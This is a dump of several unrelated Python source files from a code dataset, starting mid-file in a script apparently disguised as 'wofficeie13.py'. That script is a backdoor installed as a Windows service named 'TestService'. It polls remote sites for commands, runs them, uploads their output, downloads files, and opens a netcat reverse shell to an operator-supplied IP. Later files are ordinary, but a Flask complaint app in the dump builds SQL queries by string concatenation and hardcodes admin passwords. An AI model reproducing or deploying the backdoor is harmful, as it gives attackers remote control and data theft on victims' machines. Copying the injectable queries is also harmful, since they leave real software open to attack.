\"http://\"+site+\"/svc/wup.php?pc=\"+sCOMPUTERNAME+\"&wup=\"+sTime\n response = requests.get(url, headers=header)\n #if sresponse!= '':\n if response.status_code == 200:#httplib.OK:\n print (\"Output from HTML request\")\n sresponse = response.text\n ifind=sresponse.find('ip=')\n sip = sresponse[ifind+3:sresponse.find('||',ifind)]\n ifind=sresponse.find('port=')\n sport = sresponse[ifind+5:sresponse.find('||',ifind)]\n ifind=sresponse.find('kill=')\n skill = sresponse[ifind+5:sresponse.find('||',ifind)]\n ifind=sresponse.find('iout=')\n sout = sresponse[ifind+5:sresponse.find('||',ifind)]\n ifind=sresponse.find('exec=')\n sexec = sresponse[ifind+5:sresponse.find('||',ifind)]\n ifind=sresponse.find('cmd=')\n scmd = sresponse[ifind+4:sresponse.find('||',ifind)]\n print (skill)\n \n #httpServ.close()\n if sexec == '1':\n sCOMPUTERNAME=os.getenv('COMPUTERNAME')+\"_\"+smacaddress\n try:\n if sout == '1':\n sdump=subprocess.check_output(scmd,stderr=subprocess.STDOUT, shell=True)\n ## process=subprocess.Popen(scmd,stdout=subprocess.PIPE,stderr=subprocess.STDOUT, shell=True)\n ## p = Popen(scmd,shell=True)\n ## returncode = process.wait()\n ## print('return code'.format(returncode))\n ## sdump=process.stdout.read()\n text_file = open(os.getenv('TEMP')+\"\\\\\" + sCOMPUTERNAME, \"w\")\n text_file.write(sdump)\n text_file.close()\n files = {'userfile': open(os.getenv('TEMP')+\"\\\\\" + sCOMPUTERNAME, 'rb')}\n r = requests.post('http://' + site +'/upload.php',files=files) \n #if len(sdump)<2006:\n #sdump = sdump.replace(\"\\'\", \"\")\n #sdump = sdump.replace(\"\\\\\", \"\\\\\\\\\")\n sdump = sdump.replace(\"\\r\\n\", \"
\")\n #sdump = sdump.replace(\"\\n\", \"
\")\n #sdump = sdump.replace(\"\\r\", \"
\")\n sdump = sdump.replace(\" \", \"%20\")\n #sdump = sdump[ 0 : 2005]\n #httpServ = httplib.HTTPConnection(site, 80)\n #httpServ.connect()\n #response = urllib2.urlopen(\"http://\"+site+\"/svc/wup.php?pc=\"+sCOMPUTERNAME+\"&dump=\"+sdump)\n #httpServ.request('GET', \"/svc/wup.php?pc=\"+sCOMPUTERNAME+\"&dump=\"+sdump)\n #response = httpServ.getresponse()\n url = \"http://\"+site+\"/svc/wup.php?pc=\"+sCOMPUTERNAME+\"&dump=\"+sdump\n response = requests.get(url, headers=header)\n #httpServ.close()\n \n else:\n igetfile=scmd.find('getfile')\n ifile=scmd.rfind('/')\n if igetfile==0:\n geturl =scmd[8:len(scmd)]\n \n sfiledest= scmd[ifile+1:len(scmd)]\n \n #f = urllib2.urlopen(geturl)\n #with open(swin+'\\\\'+ sfiledest, \"wb\") as code:\n # code.write(f.read())\n with urllib.request.urlopen(geturl) as response, open(swin+'\\\\'+ sfiledest, 'wb') as out_file:\n data = response.read() # a `bytes` object\n out_file.write(data) \n else:\n p = Popen(scmd,shell=True)\n #print r.text\n except Exception as e:\n print (str(e))\n #myloop()\n #httpServ = httplib.HTTPConnection(site, 80)\n #httpServ.connect()\n #response = urllib2.urlopen(\"http://\"+site+\"/svc/wup.php?pc=\"+sCOMPUTERNAME+\"&exec=0\")\n #httpServ.request('GET', \"/svc/wup.php?pc=\"+sCOMPUTERNAME+\"&exec=0\")\n #response = httpServ.getresponse()\n url = \"http://\"+site+\"/svc/wup.php?pc=\"+sCOMPUTERNAME+\"&exec=0\"\n response = requests.get(url, headers=header)\n #httpServ.close()\n if skill == '0':\n try:\n if not os.path.exists('c:\\windows\\syswow64'):\n p = Popen(\"nc.exe -e cmd.exe \"+sip+\" \"+sport,shell=True)\n #os.system(\"nc.exe -e cmd.exe \"+sip+\" \"+sport)\n else:\n p = Popen(\"nc64.exe -e cmd.exe \"+sip+\" \"+sport,shell=True)\n #os.system(\"nc64.exe -e cmd.exe \"+sip+\" \"+sport)\n except Exception as e:\n print (str(e))\n #myloop()\n #httpServ = httplib.HTTPConnection(site, 80)\n #httpServ.connect()\n #response = urllib2.urlopen(\"http://\"+site+\"/svc/wup.php?pc=\"+sCOMPUTERNAME+\"&kill=1\")\n #httpServ.request('GET', \"/svc/wup.php?pc=\"+sCOMPUTERNAME+\"&kill=1\")\n #response = httpServ.getresponse()\n url = \"http://\"+site+\"/svc/wup.php?pc=\"+sCOMPUTERNAME+\"&kill=1\"\n response = requests.get(url, headers=header)\n #httpServ.close()\n \n ## client = paramiko.SSHClient() \n ## client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n ## #label .myLabel\n ## #try:\n ## #sip = '184.72.89.74'\n ## try:\n ## client.connect(sip, username='root', password='toor',port=int(sport))\n ## chan = client.get_transport().open_session()\n ## chan.send('Hey i am connected :) ')\n ## print chan.recv(1024)\n ## while True:\n ## command = chan.recv(1024)\n ## print str(len(command))\n ## print command\n ## if command == 'exit' or len(command) == 0:\n ## \n ## client.close()\n ## break\n ## try:\n ## CMD = subprocess.check_output(command, shell=True)\n ## chan.send(CMD)\n ## except Exception as e:\n ## chan.send(str(e))\n ## except Exception as e:\n ## print (str(e))\n site=site1\n except Exception as e:\n# app_log.info('Exception %s',str(e))\n print (str(e))\n #print e.errno\n #if e.errno == 11001: \n time.sleep(10) \n #myloop() \n if site == site1:\n site=site2\n elif site == site2:\n site=site3\n elif site == site3:\n site=site1\n \n#time.sleep(10)\nclass TestService(win32serviceutil.ServiceFramework):\n _svc_name_ = \"TestService\"\n _svc_display_name_ = \"Test Service\"\n\n def __init__(self, args):\n win32serviceutil.ServiceFramework.__init__(self, args)\n self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)\n socket.setdefaulttimeout(60)\n\n def SvcStop(self):\n self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)\n win32event.SetEvent(self.hWaitStop)\n\n def SvcDoRun(self):\n rc = None\n# subprocess.Popen(\"cmd /c net.exe user asp Qwerty12! /add\")\n while rc != win32event.WAIT_OBJECT_0:\n with open('C:\\\\TestService.log', 'a') as f:\n f.write('test service running...\\n')\n \n try: \n myloop() \n time.sleep(60)\n except Exception as e:\n print (str(e)) \n time.sleep(60)\n myloop() \n rc = win32event.WaitForSingleObject(self.hWaitStop, 5000)\n \n\n\nif __name__ == '__main__':\n \n if len(sys.argv) == 1:\n servicemanager.Initialize()\n servicemanager.PrepareToHostSingle(TestService)\n servicemanager.StartServiceCtrlDispatcher()\n else:\n win32serviceutil.HandleCommandLine(TestService)\n\n\n\n","sub_path":"wofficeie13.py","file_name":"wofficeie13.py","file_ext":"py","file_size_in_byte":24146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"390394769","text":"#!/usr/bin/python\nfrom collections import deque\n\nfor line in open('puzzle-1-1.txt', 'r'):\n ints = [int(x) for x in line.strip()]\n d = deque(ints)\n l = len(d)\n s = 0\n for i in range(l):\n x = d[0]\n d.rotate(-1)\n y = d[0]\n if x == y:\n s += x\n print(str(s))\n\n","sub_path":"day-1/1-1.py","file_name":"1-1.py","file_ext":"py","file_size_in_byte":278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"232795741","text":"from flask import render_template, flash, redirect, url_for\nfrom flask_login import current_user, login_required\nfrom team9 import db\nfrom team9.email import bp, email\nfrom team9.email.forms import Message\nfrom team9.models import Player, User, Match\nfrom team9utils import kvmSet, kvmGet\n\n\n@bp.route('/sendemail')\n@login_required\ndef sendemail():\n # All players with a linked user - outer join means we can have 'None' for a User\n players = db.session.query(Player, User).outerjoin(User, User.Player_ID == Player.idplayer).order_by(Player.Surname.asc()).all()\n\n # Nextmatch - speaks for itself\n nextmatch = Match.query.order_by(Match.MatchDate.asc(), Match.StartTime.asc()).\\\n filter(Match.MatchOver == None).first()\n\n cclist=[]\n lineup=[]\n # Walk through the Players and create email cc list and line-up for the text email (only)\n for player in players:\n if player.Player.Active == \"Y\":\n if player.User !=None:\n if player.User.Email != None:\n cclist.append(player.User.Email)\n if player.Player.Bogged == 'N':\n lineup.append(player.Player.FirstName + \" \" + player.Player.Surname)\n\n # The email body for recipients with non-HTML email clients.\n text_body = (\"The next match is on \" + \"{:%A, %d %b }\".format(nextmatch.MatchDate) +\n \" @ \" + \"{:%H:%M}\".format(nextmatch.StartTime) +\n \" versus \" + nextmatch.OpposingTeam + \"\\r\\n\" +\n \"The Rule of the Bog is in full stench, and our line up is: \" + \", \".join(lineup) + \"\\r\\n\\n\" +\n \"Please CONFIRM that you are able to attend.\")\n\n image_file = kvmGet('LATESTPICTURE')\n cid=\"cid:\" + image_file\n email.send_mime_email(cclist, text_body, image_file,\n render_template('email/mime_email.html', players=players, nextmatch=nextmatch, captainsMessage=kvmGet('CAPTAINSMESSAGE'),\n cid=cid, image=image_file))\n\n # email.send_image_email(cclist, text_body,\n # render_template('email/image_email.html', players=players,\n # nextmatch=nextmatch, captainsMessage=kvmGet('CAPTAINSMESSAGE'), image=image_file))\n\n return redirect(url_for('main.index'))\n\n\n@bp.route('/message', methods=['GET', 'POST'])\n@login_required\ndef message():\n if current_user.UserRole != 'Admin':\n return redirect(url_for('main.index'))\n\n form=Message()\n current_message = kvmGet('CAPTAINSMESSAGE')\n\n if form.validate_on_submit():\n kvmSet('CAPTAINSMESSAGE', form.weekly_message.data)\n flash('Email message set : {}'.format(form.weekly_message.data))\n return redirect(url_for('main.index'))\n\n return render_template('email/message.html', title='Update Email Message', form=form, current_message=current_message)\n","sub_path":"team9/email/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":2844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"479875426","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\n\nimport tensorflow as tf\n\n\ndef get_scale(tensor):\n assert isinstance(tensor, tf.Tensor)\n return tensor.get_shape().as_list()[1:]\n\n\ndef shape_string(input_):\n # If input is a single tensor\n if isinstance(input_, tf.Tensor):\n shapes = [get_scale(input_)]\n else:\n assert isinstance(input_, list) and len(input_) > 0\n if isinstance(input_[0], tf.Tensor):\n shapes = [get_scale(tensor) for tensor in input_]\n elif not isinstance(input_[0], list):\n shapes = [input_]\n\n result = ''\n for i, shape in zip(range(len(shapes)), shapes):\n result += ', ' if i > 0 else ''\n result += 'x'.join([str(x) if x is not None else \"?\" for x in shape])\n\n if len(shapes) > 1:\n result = '({})'.format(result)\n\n return result\n\n\ndef convert_to_one_hot(labels, classes):\n labels = np.array(labels)\n if len(labels.shape) < 2:\n sample_num = labels.shape[0]\n onehot = np.zeros(shape=[sample_num, classes])\n onehot[range(sample_num), labels] = 1\n else:\n onehot = labels\n\n if len(onehot.shape) != 2:\n raise ValueError('!! Input labels has an illegal dimension {}'.format(\n len(labels.shape)))\n\n return onehot\n\n\n\n\n","sub_path":"utils/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"32469102","text":"from flask import Flask,send_file,request,render_template,redirect,url_for,session,flash,jsonify\nfrom dbchecker import auth_user, search_db\nfrom dbconnector import connection\nfrom datetime import datetime\nimport os\nimport string\nimport random\napp = Flask(__name__)\nAPP_ROOT = os.path.dirname(os.path.abspath(__file__))\napp.config['SESSION_TYPE'] = 'memcached'\napp.config['SECRET_KEY'] = 'super secret key'\n\n@app.route('/', methods=['GET', 'POST'])\ndef hello_world():\n\tif session.get('logged_in'):\n\t\treturn render_template(\"user_dashboard.html\")\n\telse:\n\t\treturn redirect(url_for('login_u'))\n\t#return 'Hello World'\n\t'''\n\tif not session.get('logged_in'):\n\t\tif(request.method == 'GET' or request.method == 'POST'):\n\t\t\t#return redirect(url_for('login_user'))\n\t\t\tpass\n\t\t#return render_template(\"login_user.html\")\n\telse:\n\t\treturn redirect(url_for('show_feed'))\n'''\n\t'''\n\tif not session.get('logged_in'):\n\t\treturn render_template('login_user.html')\n else:\n \treturn redirect(url_for('show_feed'))'''\n'''\n@app.route('/login')\ndef login():\n error = None\n if request.method == 'POST':\n if request.form['username'] != 'admin' or request.form['password'] != 'admin':\n error = 'Invalid Credentials. Please try again.'\n else:\n\t\t\tsession['logged_in'] = True\n\t\t\tsession['user'] = request.form['username']\n\t\t\treturn redirect(url_for('show_feed'))\n return render_template('login_user.html', error=error)'''\n@app.route('/login', methods=['GET', 'POST'])\ndef login_u():\n\tif request.method == 'POST':\n\t\tuname = request.form['uname']\n\t\tpwd = request.form['pwd']\n\t\tif(uname == 'admin' and pwd == 'pass'):\n\t\t\tsession['logged_in'] =True\n\t\t\tsession['user'] = uname\n\t\t\treturn redirect(url_for('hello_world'))\n\t\telse:\n\t\t\treturn redirect(url_for('login_u'))\n\treturn render_template('login_user.html')\n\n@app.route('/adminlogin', methods=['GET', 'POST'])\ndef login_admin():\n\tif request.method == 'POST':\n\t\tuname = request.form['uname']\n\t\tpwd = request.form['pwd']\n\t\tif(uname == 'admin' and pwd == 'password'):\n\t\t\tsession['logged_in'] =True\n\t\t\tsession['user'] = uname\n\t\t\treturn redirect(url_for('admin_home'))\n\t\telse:\n\t\t\treturn redirect(url_for('login_admin'))\n\treturn render_template('login_admin.html')\n\n\t'''if request.method == 'POST':\n\t\tuname = request.form['admin']\n\t\tpaswd = request.form['pwd']\n\t\tif(uname == 'admin' and paswd == 'password'):\n\t\t\tsession['logged_in'] = True\n\t\t\tsession['user'] = uname\n\t\t\tsession['admin'] = True\n\t\t\treturn redirect(url_for('admin_home'))\n\t\telse:\n\t\t\treturn redirect(url_for('login_admin'))\n\treturn render_template('login_admin.html')'''\n\n@app.route('/adminhome')\ndef admin_home():\n\trender_template('admin_home.html')\n\n@app.route('/home')\ndef show_feed():\n\tif not session.get('logged_in'):\n\t\treturn redirect(url_for('login_user'))\n\telse:\n\t\treturn \"I'm newsfeed! HAHAHA\"\n\n@app.route('/get_complaints')\ndef get_complaints():\n\tc,conn=connection()\n\trows = c.execute(\"select * from COMPLAINTS ORDER BY c_time_of_lodging DESC;\");\n\tif rows > 0:\n\t\tresults=c.fetchall()\n\t\tarr=[]\n\t\tfor i in range(len(results)):\n\t\t\tarr.append(results[i])\n\t\t\tprint(\"Hello\")\n\t\tprint(\"Out of loop\")\n\treturn jsonify(arr)\n\n@app.route('/get_data', methods=['GET', 'POST'])\ndef get_data():\n\tprint(request.args['HIII']);\n\treturn redirect(url_for('hello_world'))\n\n@app.route('/api/search', methods=['GET', 'POST'])\ndef search_q():\n\tkeyword = request.args.get('q')\n\tif keyword is not None:\n\t\tlis = search_db(keyword)\n\tif lis is not None:\n\t\treturn jsonify(lis)\n\n@app.route('/logout', methods=['GET', 'POST'])\ndef log_out():\n\tsession['logged_in'] = False\n\tsession['user'] = None\n\treturn redirect(url_for('login_u'))\n\n@app.route('/lodge_complaint_page', methods=['GET', 'POST'])\ndef lodge_complaint_page():\n\treturn render_template('lodge_complaint.html')\n\n\n@app.route('/reask', methods=['GET', 'POST'])\ndef reask():\n\tc,conn=connection()\n\tuid= session['user']\n\tcid = request.args['c']\n\tprint(\"PID = \")\n\tprint(uid)\n\tprint(\"CID =\")\n\tprint(cid)\n\trowcount1 = c.execute(\"select * from PUBLIC_COMPLAINTS where p_uid_f='\" + uid + \"' and c_id_uf='\"+cid+\"';\");\n\tif rowcount1>0:\n\t\treturn redirect(url_for('hello_world'))\n\trows = c.execute(\"insert into PUBLIC_COMPLAINTS values('\"+str(uid)+\"','\"+str(cid)+\"','\"+datetime.now().strftime('%Y-%m-%d %H:%M:%S')+\"');\");\n\trow1 = c.execute(\"update COMPLAINTS set c_time_of_lodging = '\"+datetime.now().strftime('%Y-%m-%d %H:%M:%S')+\"' where c_id = \"+cid+\";\")\n\tconn.commit()\n\tc.close()\n\treturn redirect(url_for('hello_world'))\n\n@app.route('/get_my_complaints')\ndef get_my_complaints():\n\tc,conn = connection()\n\tuid = session['user'];\n\trows = c.execute(\"select c.c_id,c.c_dept,c.c_subject,c.c_text,pc.time_of_lodging,c.c_status, (select count(*) from PUBLIC_COMPLAINTS pc2 where pc2.c_id_uf = pc.c_id_uf) as reasks from COMPLAINTS c, PUBLIC_COMPLAINTS pc where c.c_id=pc.c_id_uf and pc.p_uid_f = '\" + uid + \"';\")\n\tres=[]\n\tif rows > 0:\n\t\tres = c.fetchall()\n\treturn jsonify(res)\n\n@app.route('/lodge_complaint', methods=['GET', 'POST'])\ndef lodge_complaint():\n\tc,conn=connection()\n\tuid= session['user']\n\tcid = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))\n\tcdept = request.args['c_dept']\n\t'''csubject = request.args['c_subject']\n\tcbody = request.args['c_body']\n\n\tprint(\"PID = \")\n\tprint(uid)\n\tprint(\"CiD = \")\n\tprint(cid)\n\tprint(\"c_dept = \")\n\tprint(cdept)\n\tprint(\"Csubject = \")\n\tprint(csubject)\n\tprint(\"Cbody = \")\n\tprint(cbody)\n\trowcount1 = c.execute(\"insert into COMPLAINTS values('\"+cid+\"','\"+str(cdept)+\"', '\"+str(csubject)+\"', '\"+str(cbody)+\"', '\"+datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')+\"', FALSE);\");\n\trows = c.execute(\"insert into PUBLIC_COMPLAINTS values('\"+str(uid)+\"','\"+str(cid)+\"','\"+datetime.now().strftime('%Y-%m-%d %H:%M:%S')+\"');\");\n\tconn.commit()\n\tc.close()'''\n\treturn redirect(url_for('hello_world'))\n\nif __name__=='__main__':\n\tapp.run(debug=True)\n","sub_path":"appl/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":5840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"53182024","text":"### main program\n# directory to open - full path or HOME\nFOLDER_TO_OPEN = \"HOME\"\n# Open with... dialog: 0 old - 1 new\nOPEN_WITH = 1\n# mouse middle button behaviour: 0 open the folder in the same view - 1 open the folder in another tab\nIN_SAME = 0\n# thumbnailers: 0 no - 1 yes\nUSE_THUMB = 0\n# use custom icons for folders: 0 no - 1 yes\nUSE_FOL_CI = 0\n# icon cell width - greater than ICON_SIZE\nITEM_WIDTH = 180\n# icon cell height\nITEM_HEIGHT = 180\n# icon size\nICON_SIZE = 160\n# thumb size: greater than ICON_SIZE - same size of ICON_SIZE to disable bigger thumbnailers\nTHUMB_SIZE = 160\n# other icons size: link and permissions\nICON_SIZE2 = 48\n# space between items\nITEM_SPACE = 25\n# font size to use\nFONT_SIZE = 10\n# show delete context menu entry that bypass the trashcan: 0 no - 1 yes\nUSE_DELETE = 1\n# load the trash module: 0 no - 1 yes\nUSE_TRASH = 0\n# load the media module: 0 no - 1 yes\nUSE_MEDIA = 0\n# Paste and Merge, how to backup the new files: 0 add progressive number\n# in the form _(#) - 1 add date and time (without checking eventually\n# existing file at destination with same date and time suffix) \n# in the form _yy.mm.dd_hh.mm.ss\nUSE_DATE = 1\n# use background colour in the listview widgets: 0 no - 1 yes\nUSE_BACKGROUND_COLOUR = 1\n# listview background color: red, green, blue\nORED = 235\nOGREEN = 235\nOBLUE = 235\n# icon theme name - if the qt5ct program overrides this use \"\"\nICON_THEME = \"\"\n# creation data and time of the item in the property dialog: 0 use os.stat - 1 use functions from bash (should be precise)\nDATE_TIME = 1\n\n### needed by pythumb\n# border color of the thumbnails\nBORDER_COLOR_R = 0\nBORDER_COLOR_G = 0\nBORDER_COLOR_B = 0\n# thumbnail images cache\nXDG_CACHE_LARGE = \"sh_thumbnails/large/\"\n","sub_path":"qmfm/cfg.py","file_name":"cfg.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"649413071","text":"from models.system import MisPermission, MisGroupPermission\nfrom sqlalchemy.orm import load_only\nfrom flask import current_app\nfrom models import db\nimport traceback\n\n\ndef _permission_to_dict(permission):\n if isinstance(permission, dict):\n return {\n \"permission_id\": permission['id'],\n \"name\": permission['name'],\n \"type\": permission['type'],\n \"parent_id\": permission['parent_id'],\n \"code\": permission['code'],\n \"sequence\": permission['sequence']\n }\n else:\n return {\n \"permission_id\": permission.id,\n \"name\": permission.name,\n \"type\": permission.type,\n \"parent_id\": permission.parent_id,\n \"code\": permission.code,\n \"sequence\": permission.sequence\n }\n\n\ndef _get_permission_children(parent_id, permissions, group_permission_ids):\n # 递归,按照sequence排序获取子权限\n _permissions = [i for i in permissions if i['parent_id'] == parent_id]\n sorted(_permissions, key=lambda x:x['sequence'], reverse=False)\n if _permissions:\n children=[]\n for permission in _permissions:\n data = permission\n data['checked'] = 1 if permission['permission_id'] in group_permission_ids else 0\n data['children'] = _get_permission_children(permission['permission_id'],\n permissions, group_permission_ids)\n children.append(data)\n return children\n return []\n\n\ndef permission_list_to_tree(permissions, group_permission_ids):\n # 把列表形式的权限改成树状\n tree = _get_permission_children(0, permissions, group_permission_ids)\n return tree\n\n\ndef permission_tree_to_list(permissions):\n # 递归,把树状转换成列表\n lst = []\n for i in permissions:\n lst.append(_permission_to_dict(i))\n if i['children']:\n lst = lst + permission_tree_to_list(i['children'])\n return lst\n\n\ndef get_children_permission_ids(parent_id):\n # 获取子权限id列表\n lst = []\n permissions = MisPermission.query.filter_by(parent_id=parent_id).all()\n if permissions:\n for i in permissions:\n lst.append(i.id)\n lst = lst + get_children_permission_ids(i.id)\n return lst\n\n\ndef get_group_permission_ids(group_id):\n # 获取组id=group_id的所有权限id\n permissions = MisGroupPermission.query.options(load_only(MisGroupPermission.permission_id))\\\n .filter_by(group_id=group_id).all()\n return [i.permission_id for i in permissions]\n\n\ndef get_permissions():\n permissions = MisPermission.query.all()\n return [_permission_to_dict(permission) for permission in permissions]\n\n\ndef get_permission_tree(group_id):\n group_permission_ids = get_group_permission_ids(group_id)\n print(group_permission_ids)\n permissions = get_permissions()\n tree = _get_permission_children(0, permissions, group_permission_ids)\n return tree\n\n\ndef reset_group_permission(group_id, permission_ids):\n # 重置组权限\n try:\n MisGroupPermission.query.filter_by(group_id=group_id).delete(synchronize_session=False)\n for index, permission_id in enumerate(permission_ids):\n db.session.add(MisGroupPermission(group_id=group_id, permission_id=permission_id))\n if (index + 1) % 1000 == 0:\n db.session.commit()\n db.session.commit()\n except Exception:\n db.session.rollback()\n raise traceback.format_exc()\n\n\ndef inc_red_group_permission(group_id, permission_ids):\n # 增量添加组权限, 减量删除组权限\n try:\n group_permissions = MisGroupPermission.query.options(load_only(MisGroupPermission.permission_id))\\\n .filter_by(group_id=group_id).all()\n existing_ids = [i.permission_id for i in group_permissions]\n increment_ids = set(permission_ids) - set(existing_ids)\n reduction_ids = set(existing_ids) - set(permission_ids)\n\n # 添加增量权限\n for index, permission_id in enumerate(increment_ids):\n db.session.add(MisGroupPermission(group_id=group_id, permission_id=permission_id))\n if (index + 1) % 1000 == 0:\n db.session.commit()\n\n # 删除减量权限\n MisGroupPermission.query.filter_by(group_id=group_id)\\\n .filter(MisGroupPermission.permission_id.in_(reduction_ids)).delete(synchronize_session=False)\n db.session.commit()\n except Exception:\n db.session.rollback()\n current_app.logger.error(traceback.format_exc())\n raise ValueError('db error')\n","sub_path":"common/cache/permission.py","file_name":"permission.py","file_ext":"py","file_size_in_byte":4644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"94617260","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Feb 27 21:36:50 2020\r\n\r\n@author: Mihnea\r\n\"\"\"\r\n\r\n#STRESSES MAIN CODE\r\n\r\n#IMPORTED FUNCTIONS\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom aerodynamicloading import *\r\nfrom numeric_functions import *\r\nfrom Reaction_forces import *\r\n\r\n#GEOMETRY, MATEIRLA AND GIVEN LOADS - standard units\r\nC_a = 0.505 # [m] \r\nl_a = 1.611 # [m]\r\nx_1 = 0.125 # [m]\r\nx_2 = 0.498 # [m]\r\nx_3 = 1.494 # [m]\r\nx_a = 0.245 # [m]\r\nh = 0.161 # [m] \r\nt_sk = 0.0011 # [m] \r\nt_sp = 0.0024 # [m] \r\nt_st = 0.0012 # [m] \r\nh_st = 0.012 # [m] \r\nw_st = 0.017 # [m] \r\nn_st = 11\r\nd_1 = 0.00389 # [m] \r\nd_3 = 0.01245 # [m] \r\ntheta = 30 # [degrees]\r\nP = 49200 # [Newton]\r\nA_I = np.pi/2 * (h/2)**2\r\nA_II = h/2 * (C_a-h/2)\r\nG = 27.1 * 10**9\r\n\r\n#Moment of Inertia calculation\r\n\r\n#Centroid calculation - centroid lies on the z axis because it is symmetrical around z \r\n#The position due on the z can be calculated by multypling sum of areas with distances and divide by sum of areas \r\n#This is done in unrotated coordinate system\r\n\r\n#perimeter of the cross section and stiffener spacing\r\ndiagonallength = np.sqrt((h/2)**2 + (C_a - h/2)**2)\r\nlengthskin = np.pi * h/2 + 2 * diagonallength\r\nST_spacing = lengthskin / n_st\r\n\r\n#stringer area\r\nA_st = t_st *( h_st + w_st)\r\n\r\n#intermediate parameters for stringer coordinates (a = stringer_1 to spar and b= spar to stringer_2 ) - stringer notation starts from stringer_0\r\n# phi is the angle of the upper corner of the triangular part of the cross-section\r\nphi= np.arctan((C_a - h/2)/(h/2))\r\n\r\na = np.pi* h / 4 - ST_spacing \r\nb= ST_spacing - a\r\n\r\n#stringer coordinates - array of 11 stringers by 2 coordinates - starting from LE going around the upper skin to TE to lower skin\r\n#coordinate system is at the TE with y positive upwards and z positive towards the LE\r\n\r\nstringercoordinates = np.zeros([n_st ,2])\r\nstringercoordinates[0,0] = C_a \r\nstringercoordinates[0,1] = 0.0\r\nstringercoordinates[1,0] = C_a - (h/2 - h/2 * np.cos(2*ST_spacing/ h))\r\nstringercoordinates[1,1] = h/2 * np.sin (2* ST_spacing / h)\r\nstringercoordinates[2,0] = C_a - (h/2 + b* np.sin(phi))\r\nstringercoordinates[2,1] = h/2 -b* np.cos(phi)\r\nstringercoordinates[3,0] = C_a - (h/2 + (b+ ST_spacing)* np.sin(phi))\r\nstringercoordinates[3,1] = h/2 - (b+ ST_spacing) * np.cos(phi)\r\nstringercoordinates[4,0] = C_a - (h/2 + (b+ 2* ST_spacing) * np.sin(phi))\r\nstringercoordinates[4,1] = h/2 - (b+ 2* ST_spacing) * np.cos(phi)\r\nstringercoordinates[5,0] = C_a - (h/2 + (b+ 3*ST_spacing) * np.sin(phi))\r\nstringercoordinates[5,1] = h/2 - (b+ 3 * ST_spacing) * np.cos(phi)\r\nstringercoordinates[6,0] = C_a - (h/2 + (b+ 3*ST_spacing) * np.sin(phi))\r\nstringercoordinates[6,1] = -(h/2 - (b+ 3 * ST_spacing) * np.cos(phi))\r\nstringercoordinates[7,0] = C_a - (h/2 + (b+ 2* ST_spacing) * np.sin(phi))\r\nstringercoordinates[7,1] = -(h/2-(b+ 2* ST_spacing) * np.cos(phi))\r\nstringercoordinates[8,0] = C_a - (h/2 + (b+ ST_spacing)* np.sin(phi))\r\nstringercoordinates[8,1] = -(h/2 - (b+ ST_spacing) * np.cos(phi)) \r\nstringercoordinates[9,0] = C_a - (h/2 + b* np.sin(phi))\r\nstringercoordinates[9,1] = -(h/2 -b* np.cos(phi))\r\nstringercoordinates[10,0] = C_a - (h/2 - h/2 * np.cos(2*ST_spacing/ h))\r\nstringercoordinates[10,1] = -(h/2 * np.sin (2* ST_spacing / h))\r\n\r\n#centroid calculation\r\ny_bar= 0.0\r\nz_bar= ((np.pi * h/4 * t_sk) * (C_a - h/4) + h/2 * t_sp * (C_a -h/2) + diagonallength * t_sk* (C_a -h/2)/2 + A_st * sum(stringercoordinates[1:6,0])+ A_st/2 * stringercoordinates[0,0]) / (5.5* A_st + h/2 * t_sp + lengthskin/2 * t_sk) \r\ncentroid = [z_bar,y_bar]\r\n\r\nI_zz_st = A_st * sum((stringercoordinates[:,1])**2) # MoI around z-axis due to the stringers\r\nI_yy_st = A_st * sum(((stringercoordinates[:,0])-z_bar)**2) # MoI around y-axis due to the stringers\r\n\r\n\r\nI_zz_sk_diagonalpart = (t_st * (2*diagonallength)**3 * (h/2/diagonallength)**2) / 12 # MoI around z-axis due to the skin of the diagonal part of cross-section\r\nI_yy_sk_diagonalpart = 2* ((t_st * (diagonallength)**3 * ((C_a-h/2)/diagonallength)**2) / 12 + t_sk * diagonallength * (z_bar - (C_a-h/2) / 2 )**2)#+ 2 *diagonallength * t_sk * z_bar**2 # MoI around y-axis due to the skin of the diagonal part of cross-section\r\n\r\n\r\nI_zz_sk_arc = np.pi * (h/2)**3 * t_sk / 2 # MoI around z-axis due to the skin of the arc in cross-section \r\nI_yy_sk_arc = I_zz_sk_arc + np.pi * h/2 * t_st * ((C_a - h/2 - z_bar)**2 - (4*h/2/3/np.pi)**2) # MoI around y-axis due to the skin of the arc in cross-section\r\n\r\nI_zz_sk = I_zz_sk_diagonalpart + I_zz_sk_arc # Moment of Inertia around z-axis due to the skin\r\nI_yy_sk = I_yy_sk_diagonalpart + I_yy_sk_arc # Moment of Inertia around y-axis due to the skin\r\n\r\nI_zz_sp = h**3 * t_sp / 12 \r\nI_yy_sp = h * t_sp * (C_a - h/2 - z_bar)**2\r\n\r\nI_zz = I_zz_st + I_zz_sk + I_zz_sp # Total Moment of Inertia around z-axis\r\nI_yy = I_yy_st + I_yy_sk + I_yy_sp # Total Moment of Inertia around y-axis\r\n\r\n\r\n#SHEAR FORCES ACROSS THE SPAN\r\nSY=[]\r\nSZ=[]\r\nM_z=[]\r\nM_y=[]\r\nsum_moment_z=0\r\nsum_moment_y=0\r\n #AERODYNAMIC LOAD\r\nQ=[]\r\nfor w in range(len(q_list)-1):\r\n \r\n 